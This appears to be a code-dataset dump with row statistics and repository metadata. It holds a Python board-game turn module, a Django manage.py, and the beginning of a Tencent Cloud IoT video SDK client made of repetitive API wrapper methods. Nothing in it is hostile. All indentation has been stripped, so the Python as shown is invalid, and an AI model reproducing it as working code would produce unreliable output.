from mechanics.util.die import roll2Die
if TYPE_CHECKING:
from mechanics.playerManager import PlayerManager
from mechanics.player import Player
from mechanics.gameMap.gameMap import GameMap
class Game:
'''
Represents a game and its associated data
'''
def __init__(self, map_: GameMap):
'''
Initializing this class starts the game!.
'''
self.__playerManager: PlayerManager = PlayerManager.instance
self.__playerManager.startGame()
self.__map: GameMap = map_
self.__turnNum: int = 0
self.__roundNum: int = 0
self.__playerTurnOrderIt: Iterator[Player] = None
def __getNextPlayer(self) -> Player:
if self.__playerTurnOrderIt is None:
self.__roundNum += 1
self.__playerTurnOrderIt = self.__playerManager.getPlayerTurnOrderIterator()
try:
return next(self.__playerTurnOrderIt)
except StopIteration:
self.__playerTurnOrderIt = self.__playerManager.getPlayerTurnOrderIterator()
self.__roundNum += 1
return next(self.__playerTurnOrderIt)
def nextTurn(self) -> Turn:
self.__turnNum += 1
return Turn(self.__turnNum, self.__roundNum, self.__map, self.__getNextPlayer())
@property
def players(self) -> PlayerManager:
return self.__playerManager
@property
def map(self) -> GameMap:
return self.__map
class Turn:
'''
Superclass representing a turn
and the information related to it.
Stores things like which player's turn it is
'''
def __init__(self, turnNum: int, roundNum: int, gameMap: GameMap, currentPlayer: Player):
self.__turnNum: int = turnNum
self.__roundNum: int = roundNum
self.__gameMap: GameMap = gameMap
self.__player: Player = currentPlayer
self.__current2DieRoll: int = roll2Die()
@property
def turnNum(self) -> int:
return self.__turnNum
@property
def roundNum(self) -> int:
return self.__roundNum
@property
def gameMap(self) -> GameMap:
return self.__gameMap
@property
def currentPlayer(self) -> Player:
return self.__player
@property
def twoDieRoll(self) -> int:
return self.__current2DieRoll
| 26.549451 | 93 | 0.652732 | 241 | 2,416 | 6.20332 | 0.278008 | 0.051505 | 0.028094 | 0.034114 | 0.085619 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005099 | 0.269454 | 2,416 | 90 | 94 | 26.844444 | 0.841926 | 0.080712 | 0 | 0.232143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.196429 | false | 0 | 0.107143 | 0.125 | 0.517857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
a3033040e3bfa035c2ea2253c2cabcf3f2545565 | 348 | py | Python | todomvc/manage.py | eswar2016/drf-redux | 588f5823d57890aae1a2a48fbc56c3e84ef1d8cb | [
"MIT"
] | 99 | 2016-04-06T03:36:35.000Z | 2021-03-07T02:10:26.000Z | todomvc/manage.py | eswar2016/drf-redux | 588f5823d57890aae1a2a48fbc56c3e84ef1d8cb | [
"MIT"
] | 3 | 2016-10-02T08:10:24.000Z | 2017-08-07T16:28:24.000Z | todomvc/manage.py | eswar2016/drf-redux | 588f5823d57890aae1a2a48fbc56c3e84ef1d8cb | [
"MIT"
] | 28 | 2016-04-18T18:30:11.000Z | 2019-02-11T13:56:39.000Z | #!/usr/bin/env python
import os
import sys
pwd = os.path.dirname(__file__)
sys.path.insert(0, os.path.abspath(os.path.join(pwd, 'server')))
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "todomvc.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| 24.857143 | 71 | 0.755747 | 51 | 348 | 4.764706 | 0.627451 | 0.074074 | 0.148148 | 0.18107 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003236 | 0.112069 | 348 | 13 | 72 | 26.769231 | 0.783172 | 0.057471 | 0 | 0 | 0 | 0 | 0.159021 | 0.067278 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
097d4be18d0dc51cabd54eee9ef2c86bfcc603fd | 83,176 | py | Python | codespace/python/tencentcloud/iotvideoindustry/v20201201/iotvideoindustry_client.py | tzpBingo/github-trending | 05dc0a4a5aae91871a57b9c6db5d9faee243173e | [
"MIT"
] | 37 | 2017-10-12T01:50:42.000Z | 2022-02-24T02:44:45.000Z | codespace/python/tencentcloud/iotvideoindustry/v20201201/iotvideoindustry_client.py | tzpBingo/github-trending | 05dc0a4a5aae91871a57b9c6db5d9faee243173e | [
"MIT"
] | null | null | null | codespace/python/tencentcloud/iotvideoindustry/v20201201/iotvideoindustry_client.py | tzpBingo/github-trending | 05dc0a4a5aae91871a57b9c6db5d9faee243173e | [
"MIT"
] | 12 | 2018-07-31T10:04:56.000Z | 2022-02-07T00:08:06.000Z | # -*- coding: utf8 -*-
# Copyright (c) 2017-2021 THL A29 Limited, a Tencent company. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import json
from tencentcloud.common.exception.tencent_cloud_sdk_exception import TencentCloudSDKException
from tencentcloud.common.abstract_client import AbstractClient
from tencentcloud.iotvideoindustry.v20201201 import models
class IotvideoindustryClient(AbstractClient):
_apiVersion = '2020-12-01'
_endpoint = 'iotvideoindustry.tencentcloudapi.com'
_service = 'iotvideoindustry'
def BindGroupDevices(self, request):
"""本接口(BindGroupDevices) 用于绑定设备到分组。
:param request: Request instance for BindGroupDevices.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.BindGroupDevicesRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.BindGroupDevicesResponse`
"""
try:
params = request._serialize()
body = self.call("BindGroupDevices", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.BindGroupDevicesResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def ControlDevicePTZ(self, request):
"""本接口(ControlDevicePTZ) 用于对支持GB28181 PTZ信令的设备进行远程控制。
:param request: Request instance for ControlDevicePTZ.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.ControlDevicePTZRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.ControlDevicePTZResponse`
"""
try:
params = request._serialize()
body = self.call("ControlDevicePTZ", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.ControlDevicePTZResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def ControlRecordStream(self, request):
"""对回放流进行控制,包括暂停、播放、拉动、结束等
:param request: Request instance for ControlRecordStream.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.ControlRecordStreamRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.ControlRecordStreamResponse`
"""
try:
params = request._serialize()
body = self.call("ControlRecordStream", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.ControlRecordStreamResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def CreateDevice(self, request):
"""本接口(CreateDevice) 用于创建设备。
:param request: Request instance for CreateDevice.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateDeviceRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateDeviceResponse`
"""
try:
params = request._serialize()
body = self.call("CreateDevice", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.CreateDeviceResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def CreateDeviceGroup(self, request):
"""本接口(CreateDeviceGroup) 用于创建设备管理分组。
:param request: Request instance for CreateDeviceGroup.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateDeviceGroupRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateDeviceGroupResponse`
"""
try:
params = request._serialize()
body = self.call("CreateDeviceGroup", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.CreateDeviceGroupResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def CreateLiveChannel(self, request):
"""创建直播频道
:param request: Request instance for CreateLiveChannel.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateLiveChannelRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateLiveChannelResponse`
"""
try:
params = request._serialize()
body = self.call("CreateLiveChannel", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.CreateLiveChannelResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def CreateLiveRecordPlan(self, request):
"""创建直播录制计划
:param request: Request instance for CreateLiveRecordPlan.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateLiveRecordPlanRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateLiveRecordPlanResponse`
"""
try:
params = request._serialize()
body = self.call("CreateLiveRecordPlan", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.CreateLiveRecordPlanResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def CreateMessageForward(self, request):
"""创建消息转发配置
:param request: Request instance for CreateMessageForward.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateMessageForwardRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateMessageForwardResponse`
"""
try:
params = request._serialize()
body = self.call("CreateMessageForward", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.CreateMessageForwardResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def CreateRecordPlan(self, request):
"""本接口(CreateRecordPlan) 用于创建录制计划,使设备与时间模板绑定,以便及时启动录制
:param request: Request instance for CreateRecordPlan.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateRecordPlanRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateRecordPlanResponse`
"""
try:
params = request._serialize()
body = self.call("CreateRecordPlan", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.CreateRecordPlanResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def CreateScene(self, request):
"""创建场景
:param request: Request instance for CreateScene.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateSceneRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateSceneResponse`
"""
try:
params = request._serialize()
body = self.call("CreateScene", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.CreateSceneResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def CreateTimeTemplate(self, request):
"""本接口(CreateTimeTemplate) 用于根据模板描述的具体录制时间片段,创建定制化的时间模板。
:param request: Request instance for CreateTimeTemplate.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateTimeTemplateRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.CreateTimeTemplateResponse`
"""
try:
params = request._serialize()
body = self.call("CreateTimeTemplate", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.CreateTimeTemplateResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DeleteChannel(self, request):
"""删除通道接口
:param request: Request instance for DeleteChannel.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteChannelRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteChannelResponse`
"""
try:
params = request._serialize()
body = self.call("DeleteChannel", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DeleteChannelResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DeleteDevice(self, request):
"""本接口(DeleteDevice)用于删除设备。
:param request: Request instance for DeleteDevice.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteDeviceRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteDeviceResponse`
"""
try:
params = request._serialize()
body = self.call("DeleteDevice", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DeleteDeviceResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DeleteDeviceGroup(self, request):
"""本接口(DeleteDeviceGroup)用于删除分组。
:param request: Request instance for DeleteDeviceGroup.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteDeviceGroupRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteDeviceGroupResponse`
"""
try:
params = request._serialize()
body = self.call("DeleteDeviceGroup", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DeleteDeviceGroupResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DeleteLiveChannel(self, request):
"""删除直播接口
:param request: Request instance for DeleteLiveChannel.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteLiveChannelRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteLiveChannelResponse`
"""
try:
params = request._serialize()
body = self.call("DeleteLiveChannel", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DeleteLiveChannelResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DeleteLiveRecordPlan(self, request):
"""删除直播录制计划
:param request: Request instance for DeleteLiveRecordPlan.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteLiveRecordPlanRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteLiveRecordPlanResponse`
"""
try:
params = request._serialize()
body = self.call("DeleteLiveRecordPlan", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DeleteLiveRecordPlanResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DeleteLiveVideoList(self, request):
"""直播录像删除
:param request: Request instance for DeleteLiveVideoList.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteLiveVideoListRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteLiveVideoListResponse`
"""
try:
params = request._serialize()
body = self.call("DeleteLiveVideoList", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DeleteLiveVideoListResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DeleteMessageForward(self, request):
"""删除消息转发配置
:param request: Request instance for DeleteMessageForward.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteMessageForwardRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteMessageForwardResponse`
"""
try:
params = request._serialize()
body = self.call("DeleteMessageForward", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DeleteMessageForwardResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DeleteRecordPlan(self, request):
"""本接口(DeleteRecordPlan)用于删除录制计划
录制计划删除的同时,会停止该录制计划下的全部录制任务。
:param request: Request instance for DeleteRecordPlan.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteRecordPlanRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteRecordPlanResponse`
"""
try:
params = request._serialize()
body = self.call("DeleteRecordPlan", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DeleteRecordPlanResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DeleteScene(self, request):
"""删除场景
:param request: Request instance for DeleteScene.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteSceneRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteSceneResponse`
"""
try:
params = request._serialize()
body = self.call("DeleteScene", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DeleteSceneResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DeleteTimeTemplate(self, request):
"""本接口(DeleteTimeTemplate) 用于删除时间模板。
:param request: Request instance for DeleteTimeTemplate.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteTimeTemplateRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteTimeTemplateResponse`
"""
try:
params = request._serialize()
body = self.call("DeleteTimeTemplate", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DeleteTimeTemplateResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DeleteVideoList(self, request):
"""删除录像存储列表
:param request: Request instance for DeleteVideoList.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteVideoListRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DeleteVideoListResponse`
"""
try:
params = request._serialize()
body = self.call("DeleteVideoList", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DeleteVideoListResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeAllDeviceList(self, request):
"""本接口(DescribeAllDeviceList) 用于获取设备列表。
:param request: Request instance for DescribeAllDeviceList.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeAllDeviceListRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeAllDeviceListResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeAllDeviceList", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeAllDeviceListResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeBindSceneDevices(self, request):
"""获取场景绑定设备列表
:param request: Request instance for DescribeBindSceneDevices.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeBindSceneDevicesRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeBindSceneDevicesResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeBindSceneDevices", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeBindSceneDevicesResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeChannelsByLiveRecordPlan(self, request):
"""根据直播录制计划获取频道列表
:param request: Request instance for DescribeChannelsByLiveRecordPlan.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeChannelsByLiveRecordPlanRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeChannelsByLiveRecordPlanResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeChannelsByLiveRecordPlan", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeChannelsByLiveRecordPlanResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeDeviceGroup(self, request):
"""本接口(DescribeDeviceGroup)用于根据设备ID查询设备所在分组信息,可批量查询。
:param request: Request instance for DescribeDeviceGroup.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeDeviceGroupRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeDeviceGroupResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeDeviceGroup", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeDeviceGroupResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeDevicePassWord(self, request):
"""本接口(DescribeDevicePassWord)用于查询设备密码。
:param request: Request instance for DescribeDevicePassWord.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeDevicePassWordRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeDevicePassWordResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeDevicePassWord", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeDevicePassWordResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeDeviceStreams(self, request):
"""本接口(DescribeDeviceStreams)用于获取设备实时流地址。
:param request: Request instance for DescribeDeviceStreams.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeDeviceStreamsRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeDeviceStreamsResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeDeviceStreams", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeDeviceStreamsResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeGroupById(self, request):
"""本接口(DescribeGroupById)用于根据分组ID查询分组。
:param request: Request instance for DescribeGroupById.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeGroupByIdRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeGroupByIdResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeGroupById", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeGroupByIdResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeGroupByPath(self, request):
"""根据分组路径查询分组
:param request: Request instance for DescribeGroupByPath.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeGroupByPathRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeGroupByPathResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeGroupByPath", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeGroupByPathResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeGroupDevices(self, request):
"""本接口(DescribeGroupDevices)用于查询分组下的设备列表。
:param request: Request instance for DescribeGroupDevices.
:type request: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeGroupDevicesRequest`
:rtype: :class:`tencentcloud.iotvideoindustry.v20201201.models.DescribeGroupDevicesResponse`
"""
try:
params = request._serialize()
body = self.call("DescribeGroupDevices", params)
response = json.loads(body)
if "Error" not in response["Response"]:
model = models.DescribeGroupDevicesResponse()
model._deserialize(response["Response"])
return model
else:
code = response["Response"]["Error"]["Code"]
message = response["Response"]["Error"]["Message"]
reqid = response["Response"]["RequestId"]
raise TencentCloudSDKException(code, message, reqid)
except Exception as e:
if isinstance(e, TencentCloudSDKException):
raise
else:
raise TencentCloudSDKException(e.message, e.message)
def DescribeGroups(self, request):
"""本接口(DescribeGroups)用于批量查询分组信息。
:param request: Request instance for DescribeGroups.
